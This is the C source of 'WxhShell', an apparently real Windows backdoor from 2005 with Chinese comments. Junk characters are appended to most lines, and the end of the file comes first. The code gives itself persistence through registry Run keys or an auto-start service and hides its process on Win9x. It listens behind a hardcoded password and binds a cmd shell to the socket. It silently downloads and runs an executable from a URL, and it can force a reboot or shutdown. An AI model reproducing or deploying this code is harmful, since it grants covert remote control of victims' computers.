    if(Boot(SHUTDOWN)) K@P5]}'#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )8ejT6r  
    else { EKsL0;FV  
    closesocket(wsh); sO~:e?F  
    ExitThread(0); vu[+UF\G  
    } 4tTK5`7N  
    break; /sf:.TpVh  
    } }qlU  
  // 获取shell 'dYjbQ}~;  
  case 's': { r5XG$:$8\  
    CmdShell(wsh); Gn+D%5)$I  
    closesocket(wsh); , ;L  
    ExitThread(0); k=2]@K$%  
    break; *hVW >{a  
  } `s (A&=g\  
  // 退出 .'C$w1[w  
  case 'x': { T8 k@DS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2]n"7Z8(v8  
    CloseIt(wsh); xmxfXW  
    break; . KJ EA #  
    } r3oAP[+n  
  // 离开 Qi' ,[Xmf  
  case 'q': { 3A%/H`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `#&pB0.y  
    closesocket(wsh); .7TQae%  
    WSACleanup(); F gM<2$h  
    exit(1); _D:#M  
    break; Z -`j)3Y  
        } JnCp'`  
  } ]%jlaXb  
  } (i^3Lw :  
[L 0`B9TD~  
  // 提示信息 [6Y6{.%~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +2!J3{[J  
} zXQ o pQ1  
  } |'WaBy1  
+U9Gj#  
  return; DTrS9j?z  
} n*G[ZW*Uc  
S?Q4u!FC  
// shell模块句柄 JX,&im*BG  
int CmdShell(SOCKET sock) lwhAF, '$  
{ iva&W  
STARTUPINFO si; W8j)2nKD  
ZeroMemory(&si,sizeof(si)); L DD^X@q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OI"vC1.5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /gZrnd?  
PROCESS_INFORMATION ProcessInfo; <Y9vc:S  
char cmdline[]="cmd"; w4U]lg<}E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7Wb:^.d g  
  return 0; ,Ju f  
} qepsR/0M  
Z,/BPK<e  
// 自身启动模式 u1a5Vtel  
int StartFromService(void) rMIr&T  
{ ,@ A1eX}  
typedef struct sXp>4MomV  
{ #95.KkF  
  DWORD ExitStatus; h(!x&kZq.  
  DWORD PebBaseAddress; /%Lj$]S7[4  
  DWORD AffinityMask; 6%Ap/zvCZ>  
  DWORD BasePriority; ALS\}_8  
  ULONG UniqueProcessId; EzOO6  
  ULONG InheritedFromUniqueProcessId; 2@ vSe  
}   PROCESS_BASIC_INFORMATION; -M}#-qwf  
;u!qu$O  
PROCNTQSIP NtQueryInformationProcess; 0Qvbc}KP8  
4*W ??(=j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Uj&2'>MJ$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B Jp\a7`;  
?1JVzZ4H  
  HANDLE             hProcess; ;Pik},  
  PROCESS_BASIC_INFORMATION pbi; l-4T Tg  
?ihkV? ;)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'L)@tkklp  
  if(NULL == hInst ) return 0; %E Jv!u*-  
,<*n>W4|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qi`Lj5;\F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #4"(M9kf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wvsKn YKX  
Ub=g<MYHV  
  if (!NtQueryInformationProcess) return 0; Cw]& B  
{LfVV5?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <CIJ g*  
  if(!hProcess) return 0; ko\VDyt,  
s@sRdoTdF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k"F5'Od  
 b=v  
  CloseHandle(hProcess); mY?^]3-_  
\G}EI|Wo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V.5gxr3QqW  
if(hProcess==NULL) return 0; d{2+> >d  
1P(rgn:8e  
HMODULE hMod; rLO1Sv  
char procName[255]; wjW>#DE  
unsigned long cbNeeded; T6MlKcw,t  
@sRRcP~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7?<.L  
?_q e 2R.  
  CloseHandle(hProcess); `oP :F[B  
?#"rI6  
if(strstr(procName,"services")) return 1; // 以服务启动 L A-H  
|f1 S&b.  
  return 0; // 注册表启动 WGFp<R  
} {pMbkA Q@  
-C]RFlV  
// 主模块 y?j#;n0  
int StartWxhshell(LPSTR lpCmdLine) ei)ljvvmHP  
{ D+?/MrP  
  SOCKET wsl; 4eTfb  
BOOL val=TRUE; -L@4da[]i  
  int port=0; Xdj` $/RI  
  struct sockaddr_in door; >2tQ')%DJ  
'"&M4.J{  
  if(wscfg.ws_autoins) Install(); qeLfO  
}}y$T(:l  
port=atoi(lpCmdLine); X@KF}x's  
 " Mzb  
if(port<=0) port=wscfg.ws_port; c}GmS@  
x`K<z J   
  WSADATA data; "&*O7cs$pA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SskvxH+7  
f*KNt_|:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -(9>{!",J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %D_2;  
  door.sin_family = AF_INET; mUY+v>F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `s93P^%  
  door.sin_port = htons(port); ]V*s-och'  
$qG;^1$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cM%I5F+n  
closesocket(wsl); _$%.F| :  
return 1; _7r<RZ  
} RGFanP  
vgY ) L  
  if(listen(wsl,2) == INVALID_SOCKET) { <uZ r.X  
closesocket(wsl); vw VeHjR  
return 1; @\0U`*]^)  
} 0 `%eP5  
  Wxhshell(wsl); - ;1'{v  
  WSACleanup(); ?145^ w  
;sd[Q01  
return 0; 3D L7  
vAWJP_;J  
} Bfe#,  
F N6 GV  
// 以NT服务方式启动 ,:POo^!/fT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uFQ;}k;}  
{ t}L kl(  
DWORD   status = 0; 4FURm@C6  
  DWORD   specificError = 0xfffffff; Nn<TPT[,  
wdg,dk9e$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =K'X:UM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \d$fi*{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .l?sYe64S  
  serviceStatus.dwWin32ExitCode     = 0; C+ar]Vi  
  serviceStatus.dwServiceSpecificExitCode = 0; " &2Kvsz  
  serviceStatus.dwCheckPoint       = 0; "D#+:ix8G|  
  serviceStatus.dwWaitHint       = 0; 91%QO?hz  
FG/".dU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K ZoIjK]  
  if (hServiceStatusHandle==0) return; ~I[Z 2&I  
"TW%-67  
status = GetLastError(); KMC]<  
  if (status!=NO_ERROR) rTTde^^_  
{ iAD'MB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PyQt8Qlz  
    serviceStatus.dwCheckPoint       = 0; UhKC:<%  
    serviceStatus.dwWaitHint       = 0; xgoG>~F  
    serviceStatus.dwWin32ExitCode     = status; | 4/'~cYV  
    serviceStatus.dwServiceSpecificExitCode = specificError; !9A6DWAE$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~D# -i >Z  
    return; 2;h4$^`dt  
  } q"){P RTm/  
O[%"zO"S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d%+oCoeb  
  serviceStatus.dwCheckPoint       = 0; >np!f8+d"q  
  serviceStatus.dwWaitHint       = 0; >h:rYEsh8V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LsaE-l  
} '5xIisP  
cV]c/*z A  
// 处理NT服务事件,比如:启动、停止 J>_|hg=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OpFe=1Q  
{ ,:6gp3  
switch(fdwControl) S -$ L2N  
{ $ 9bIUJ  
case SERVICE_CONTROL_STOP: %oPW`r  
  serviceStatus.dwWin32ExitCode = 0; WUOoK$I~K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A^lJlr:_`  
  serviceStatus.dwCheckPoint   = 0; .*FBr7rE\  
  serviceStatus.dwWaitHint     = 0; 6ub-NtVu  
  {  NGQBOV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UuXq+HYR  
  } P?|F+RoX$  
  return; h r@c7/L  
case SERVICE_CONTROL_PAUSE: Zo$ ,{rl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SURbH;[   
  break; ~N "rr.w  
case SERVICE_CONTROL_CONTINUE: \S #Mc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !O|d,)$q  
  break; WcRTv"4&  
case SERVICE_CONTROL_INTERROGATE: 2gP^+.  
  break; `^ FAD   
}; k;EG28   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r?cDyQE  
} K4w %XVaH  
C8ss6+k&  
// 标准应用程序主函数 kyV!ATL1F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vh+ ' W  
{ %3p~5jhm1  
} @r|o:I  
// 获取操作系统版本 117`=9F  
OsIsNt=GetOsVer(); *xHj*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =AaTn::e/  
}ACWSkWK  
  // 从命令行安装 (!'=?B "  
  if(strpbrk(lpCmdLine,"iI")) Install(); m@(8-_  
|#OMrP+oi  
  // 下载执行文件 sA^_I6>M"  
if(wscfg.ws_downexe) { j&6O 1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0 0JH*I  
  WinExec(wscfg.ws_filenam,SW_HIDE); .T!R&#]n  
} ".0~@W0  
Cu2eMUGt  
if(!OsIsNt) { Y9}5&#  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~vL7$-:  
HideProc(); ^wnlZ09J  
StartWxhshell(lpCmdLine); %w9/ gD  
} IZ9L ;"}  
else CdB sd  
  if(StartFromService()) p~v rr 5  
  // 以服务方式启动 o<1a]M|  
  StartServiceCtrlDispatcher(DispatchTable); 7E0L-E=.  
else ajr);xd  
  // 普通方式启动 _ ^ JhncL  
  StartWxhshell(lpCmdLine); !V%h0OE\  
[u?*' c{  
return 0; cx+w_D9b!  
} tccw0  
,=Q;@Z4 vJ  
V1yY>  
yM_ta '^$  
=========================================== F+!w[}0  
U3UKu/Z  
x6n(BMr  
 F,hiKq*  
Pn?,56SD=  
kdq<)>"  
" 3y# U|&]{  
<R;t>~8x  
#include <stdio.h> <^+x}KV I  
#include <string.h> [ GcH4E9r  
#include <windows.h> aLo^f= S  
#include <winsock2.h> N<d0C  
#include <winsvc.h> 0\B31=N(  
#include <urlmon.h> >]ghme  
kzkrvC+u  
#pragma comment (lib, "Ws2_32.lib") lwVo%-  
#pragma comment (lib, "urlmon.lib") K3Sa6"U  
S]"U(JmW\  
#define MAX_USER   100 // 最大客户端连接数 e7O9q8b  
#define BUF_SOCK   200 // sock buffer MbT;]Bo  
#define KEY_BUFF   255 // 输入 buffer p1BMQ?=($  
MBIlt 1P  
#define REBOOT     0   // 重启 d O})#50f  
#define SHUTDOWN   1   // 关机 1QA{NAnu&  
R>C^duos.  
#define DEF_PORT   5000 // 监听端口 <2.87:  
DqH?:`G  
#define REG_LEN     16   // 注册表键长度 tyI !y~-z  
#define SVC_LEN     80   // NT服务名长度 $`a>y jma  
>b1#dEY  
// 从dll定义API a1 Kh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q HU}EEv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tr6J+hS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }CM</  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }EMds3<  
R(^2+mV?  
// wxhshell配置信息 7A,lQh  
struct WSCFG { `SfBT1#5G  
  int ws_port;         // 监听端口 qH=<8Iu  
  char ws_passstr[REG_LEN]; // 口令 Nn/f*GDvK  
  int ws_autoins;       // 安装标记, 1=yes 0=no u4KP;_,m  
  char ws_regname[REG_LEN]; // 注册表键名 #$dEg  
  char ws_svcname[REG_LEN]; // 服务名 m)1+D"z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f{HjM? Mb3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S - N [  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y[R;UJE`5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F ]x2;N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xHpB/P~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G~+BO'U9'G  
zbL8 pp  
}; `w(~[`F t  
H6oU Ne  
// default Wxhshell configuration /19ZyQw9  
struct WSCFG wscfg={DEF_PORT, ]?<=DHn  
    "xuhuanlingzhe", 6Trtulm  
    1, !H^e$BA  
    "Wxhshell", T?4I\SG  
    "Wxhshell", LkwjEJQf  
            "WxhShell Service", AZ7m=Q97  
    "Wrsky Windows CmdShell Service", ~u.( (GM  
    "Please Input Your Password: ", +7V4mF!u  
  1, }o:sU^Pwa  
  "http://www.wrsky.com/wxhshell.exe", } \?]uNH  
  "Wxhshell.exe" f\vy5''  
    }; /\wm/Yx?S  
2mt S\bAF  
// 消息定义模块 {/2 _"H3:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |=rb#z&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3;'RF#VL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DGJt$o=&@  
char *msg_ws_ext="\n\rExit."; xm*6I  
char *msg_ws_end="\n\rQuit."; 05ZF>`g*  
char *msg_ws_boot="\n\rReboot..."; 8WP|cF]  
char *msg_ws_poff="\n\rShutdown..."; pIhy3@bY  
char *msg_ws_down="\n\rSave to "; ?l/+*/AR;  
W1\F-:4L@  
char *msg_ws_err="\n\rErr!"; Ve9*>6i&-4  
char *msg_ws_ok="\n\rOK!"; \s@7pM=(  
84f~.45  
char ExeFile[MAX_PATH]; @s % !R  
int nUser = 0; Q1 5h \!u  
HANDLE handles[MAX_USER]; it)!-[:bm  
int OsIsNt; )KbzgmLr  
v*lj>)L  
SERVICE_STATUS       serviceStatus; Z1Pdnc7S[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *p.70,5,  
JW2~ G!@  
// 函数声明 INF}~DN]  
int Install(void); _qp^+  
int Uninstall(void); VSDG_:!K  
int DownloadFile(char *sURL, SOCKET wsh); JBMJR  
int Boot(int flag); "V3f"J?  
void HideProc(void); rk)h_zN  
int GetOsVer(void); -VafN   
int Wxhshell(SOCKET wsl); \(4kEB2s$  
void TalkWithClient(void *cs); @\?QZX(H  
int CmdShell(SOCKET sock); "~,3gNTzV  
int StartFromService(void); %SC%#_7  
int StartWxhshell(LPSTR lpCmdLine); 1$RUhxT  
:YUQKy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GS qt:<Qs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V+>.Gf  
pRc<U^Z.h  
// 数据结构和表定义 =%ry-n G  
SERVICE_TABLE_ENTRY DispatchTable[] = P+gY LX8  
{ N6<G`k,  
{wscfg.ws_svcname, NTServiceMain},  )k6O  
{NULL, NULL} P^-daRb  
}; #,jw! HO]  
i7jI(VvB^  
// 自我安装 "bmWr)  
int Install(void) V6a+VfH  
{ @A1Ohl  
  char svExeFile[MAX_PATH]; f2,\B6+  
  HKEY key; "yG*Kh7ur  
  strcpy(svExeFile,ExeFile); +AkMU|6  
bPMkBm  
// 如果是win9x系统,修改注册表设为自启动 gbr-C  
if(!OsIsNt) { -P>up)p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VI(2/**  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U6Xi-@XP  
  RegCloseKey(key); #7BX,jvn>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }~+_|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7T/hmVi_  
  RegCloseKey(key); +2Wijrn  
  return 0; ATkx_1]KM-  
    } D"ecwx{%;C  
  } m-AW}1:\f  
} i7|sVz=  
else { i"OY=iw-N  
S*Hv2sl  
// 如果是NT以上系统,安装为系统服务 KlSg0s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Yu e#  
if (schSCManager!=0) Sc,a jT  
{ cIB[D.  
  SC_HANDLE schService = CreateService -esq]c%3  
  ( D]*<J"/]d  
  schSCManager, q 7aH=dhw  
  wscfg.ws_svcname, $e/[!3CASP  
  wscfg.ws_svcdisp, kx6-8j3gD7  
  SERVICE_ALL_ACCESS, t<H@c9{;*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DEN (pA\  
  SERVICE_AUTO_START, _d*QA{  
  SERVICE_ERROR_NORMAL, jrLV\(p  
  svExeFile, 0s o27k  
  NULL, t(r}jU=qw  
  NULL, vI5'npM  
  NULL, ^w+)A;?W  
  NULL, DUlvlQW  
  NULL =BVBCh  
  ); } U_z XuUz  
  if (schService!=0) NKRI|'Y,  
  { AEO7I f@  
  CloseServiceHandle(schService); $G D@e0  
  CloseServiceHandle(schSCManager); *^s^{0Ad  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &A)u!l Ue  
  strcat(svExeFile,wscfg.ws_svcname); )Bpvi4O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gid6,J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z O\x|E!b  
  RegCloseKey(key); vi~NfD@s  
  return 0; 8%#pv}  
    } ]>H'CM4JR  
  } [*W l=  
  CloseServiceHandle(schSCManager); !6pE0(V^+4  
} L`n Ma   
} bY!1t}ALh  
k:* (..!0z  
return 1; iVAAGZ>am  
} G Q])y  
@78%6KZ`i  
// 自我卸载 lm\~_ 4l1  
int Uninstall(void) j=y{ey7Fd  
{ /;9iDjG  
  HKEY key; h-6zQs   
]^BgSC  
if(!OsIsNt) { &N|`Q (QXS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {"n=t`E)3  
  RegDeleteValue(key,wscfg.ws_regname); &KP JB"0L  
  RegCloseKey(key); x) OJ?l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3Sl2c  
  RegDeleteValue(key,wscfg.ws_regname); R,f"2 k  
  RegCloseKey(key); 3R)_'!R[B  
  return 0; apw/nhQ.[  
  } |]+PDc%  
} ^J?y mo$>0  
} [a!*m<  
else { Z?j4WJy-[  
2YhtD A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `ZZq Sc4  
if (schSCManager!=0) P{%R*hb]  
{ )9s 6(Iu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kcio]@#  
  if (schService!=0) ,l7',@6Y  
  { f,0,:)  
  if(DeleteService(schService)!=0) { i[ 40p!~  
  CloseServiceHandle(schService); hjx= ?  
  CloseServiceHandle(schSCManager); T)tf!v3v  
  return 0; K</="3 HK  
  } b|E1>TkY  
  CloseServiceHandle(schService); *7UDTgY  
  } T%[!m5   
  CloseServiceHandle(schSCManager); Z<W`5sop^  
} o*Kl`3=]  
} .XPPd?R  
WR5W0!'Tf  
return 1; }/g1s71  
} y vo4 .u  
Xot2L{EIUE  
// 从指定url下载文件 ^gdv:[ m  
int DownloadFile(char *sURL, SOCKET wsh) 7 ?a!x$-U(  
{ E)]RQ~jY?  
  HRESULT hr; >@uFye$  
char seps[]= "/"; 3U&r K)F  
char *token; Bl*.N9*  
char *file; ZP;WXB`  
char myURL[MAX_PATH]; t^SND{[WcM  
char myFILE[MAX_PATH]; gQ=l\/ H  
`~+[pY 1r  
strcpy(myURL,sURL); 3Q~zli:  
  token=strtok(myURL,seps); p}d+L{"V  
  while(token!=NULL) R/@n+tb e  
  { JsV-:J  
    file=token; Mv7=ZAm  
  token=strtok(NULL,seps); W}rLHAaDh  
  } {mmQv~|5q  
NK$BF(HBi  
GetCurrentDirectory(MAX_PATH,myFILE); h[}e5A]}  
strcat(myFILE, "\\"); 8s)(e9Sr  
strcat(myFILE, file); t>%+[7?6  
  send(wsh,myFILE,strlen(myFILE),0); xay~fD  
send(wsh,"...",3,0); Ae|bAyAK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j,CVkA*DY  
  if(hr==S_OK) K~Z$NS^W&  
return 0; ;b;Bl:%?  
else Zil<*(kv{  
return 1; vd#BT$d?  
@D7/u88|  
} :<i<\TH'  
}-2U,Xg[  
// 系统电源模块 [s&0O<Wv  
int Boot(int flag) k btQ  
{ >@?`n}r|  
  HANDLE hToken; B'!I{LC  
  TOKEN_PRIVILEGES tkp; gib'f@i;  
S/)yi  
  if(OsIsNt) { = sh3&8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 35Cm>X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Be~In~~  
    tkp.PrivilegeCount = 1; [[' (,,r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rkWiGiisM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :3.!?mOe2  
if(flag==REBOOT) { `i{p6-U3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]/c!;z  
  return 0; 734<X6^1  
} c);vl%  
else { V6 uh'2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L#Rj~&U  
  return 0; 84f^==Y  
} R&FO-{S  
  } ^+rI=c 0  
  else { S- JD}+ 9  
if(flag==REBOOT) { #?klVK&e/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yLEA bd%+  
  return 0; ]y~"M  
} H.#zbKj  
else { !A'3Mw\Nm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f=T&$tZ<  
  return 0; NEff`mwm5)  
} X^7n/|%*.  
} 3eR c>^wh  
VX]Ud\(  
return 1; -E>LB\[t)  
} `tH :oP0=  
A!IZIT5)m  
// win9x进程隐藏模块 zr^"zcfz&  
void HideProc(void) <P0&!yN  
{ ?eOw8Rom  
;(Kj-,>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DQ9}( '^  
  if ( hKernel != NULL ) z(Q 5?+P  
  { IA^*?,AZy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]@ N::!m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $n_ax\15  
    FreeLibrary(hKernel); M{Hy=:K+  
  } JV@b(x`  
\fJ _,  
return; ]!v\whZ>  
} *IIuGtS  
&2,^CG  
// 获取操作系统版本 Hd?#^X  
int GetOsVer(void) -$ha@ bCWO  
{ QR {>]I  
  OSVERSIONINFO winfo; ,| ~Pa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :YM1p&|fS  
  GetVersionEx(&winfo); "P8( R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OTD<3Q q  
  return 1; #y*p7~|@  
  else $mcq/W   
  return 0; _E8doV  
} g-DFcwO,V  
 [1g   
// 客户端句柄模块 Z!*k0 <Z  
int Wxhshell(SOCKET wsl) |DLmMsS4  
{ oL -udH  
  SOCKET wsh; w 3$9  
  struct sockaddr_in client; !n|4w$t"V  
  DWORD myID; e~PAi8B5  
a 3C\?5  
  while(nUser<MAX_USER) /kNSB;  
{ _6]c f!H  
  int nSize=sizeof(client); PYr'1D'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /PZxF  
  if(wsh==INVALID_SOCKET) return 1; Y;#H0v>E  
BoP,MpF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I\P w`  
if(handles[nUser]==0) M+-1/vR *@  
  closesocket(wsh); A?"/ >LM  
else m4,inA:o  
  nUser++; l\ HtP7]  
  } 1)J' pDa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rn RWL4  
y;=/S?L.:  
  return 0; "GB493=v  
} X.[8L^ldh  
'4,>#D8@O  
// 关闭 socket !+_X q$9_  
void CloseIt(SOCKET wsh) ~RRS{\,  
{ <b_?[%(u  
closesocket(wsh); lt& c/xi_  
nUser--; `2,F!kCt  
ExitThread(0); ,L-G-V+  
} GU7f27p  
)}1S `*J/O  
// 客户端请求句柄 b_']S0$c\  
void TalkWithClient(void *cs) ?6//'bO:%  
{ a\tv,Lx  
E^? 3P'%^  
  SOCKET wsh=(SOCKET)cs; V-x/lo]Co  
  char pwd[SVC_LEN]; ')>D*e  
  char cmd[KEY_BUFF]; _zDf8hy  
char chr[1]; Xk}\-&C7  
int i,j; Y@limkN:  
lK3{~ \J-  
  while (nUser < MAX_USER) { 9YY*)5eyD  
=i>i,>bv  
if(wscfg.ws_passstr) { gXe`G( w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l(d3N4iz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #A=ER[[  
  //ZeroMemory(pwd,KEY_BUFF); hE;BT>_dn  
      i=0; G-5ezVli  
  while(i<SVC_LEN) { b=XHE1^rM  
?xw0kXK4  
  // 设置超时 v)<|@TD)  
  fd_set FdRead; tf6 Zz[  
  struct timeval TimeOut; y=LN| vkQ  
  FD_ZERO(&FdRead); B~2M/&rM\  
  FD_SET(wsh,&FdRead); f7I!o, /  
  TimeOut.tv_sec=8; -;iCe7|Twf  
  TimeOut.tv_usec=0; s=hao4v7z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qqSFy>`P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OPC8fX5.  
KN".0WU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bb.U4#  
  pwd=chr[0]; liPaT  
  if(chr[0]==0xd || chr[0]==0xa) { +^ `n- m  
  pwd=0; JzmX~|=Xi  
  break; ;&$f~P Q  
  } 3`Gb ;D  
  i++; gbziEjRe  
    }  =h|xlT  
jbp?6GW  
  // 如果是非法用户,关闭 socket gm =LM=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bVOJp% *s  
} |f2 bb  
LL+PAvMg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UeU`U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f47dB_{5f.  
Ch73=V  
while(1) { g9gi7.'0  
remRm Y?  
  ZeroMemory(cmd,KEY_BUFF); ^wz 2e  
2k!4oVUN  
      // 自动支持客户端 telnet标准   Sh\Jm*5  
  j=0; >J/8lS{#  
  while(j<KEY_BUFF) { mb*|$ysPx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uMX\Y;N  
  cmd[j]=chr[0]; "~L$oji  
  if(chr[0]==0xa || chr[0]==0xd) { dz1kQzOU*  
  cmd[j]=0; ))4RgS$  
  break;  1t }  
  } "x O+  
  j++; z oZ10?ojC  
    } UdcrX`^.  
gl 27&'?E*  
  // 下载文件 -l ?\hmDl  
  if(strstr(cmd,"http://")) { $8`"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J$i.^|hE/  
  if(DownloadFile(cmd,wsh)) GezMqt;2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^/~C\ (  
  else ;),vUu,k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]E^)d|_  
  } 1 Q*AQYVY  
  else { OM81$Xo=  
iH8V]%  
    switch(cmd[0]) { MzE1he1  
  t]E@AJO K  
  // 帮助 =s&ycc;-5}  
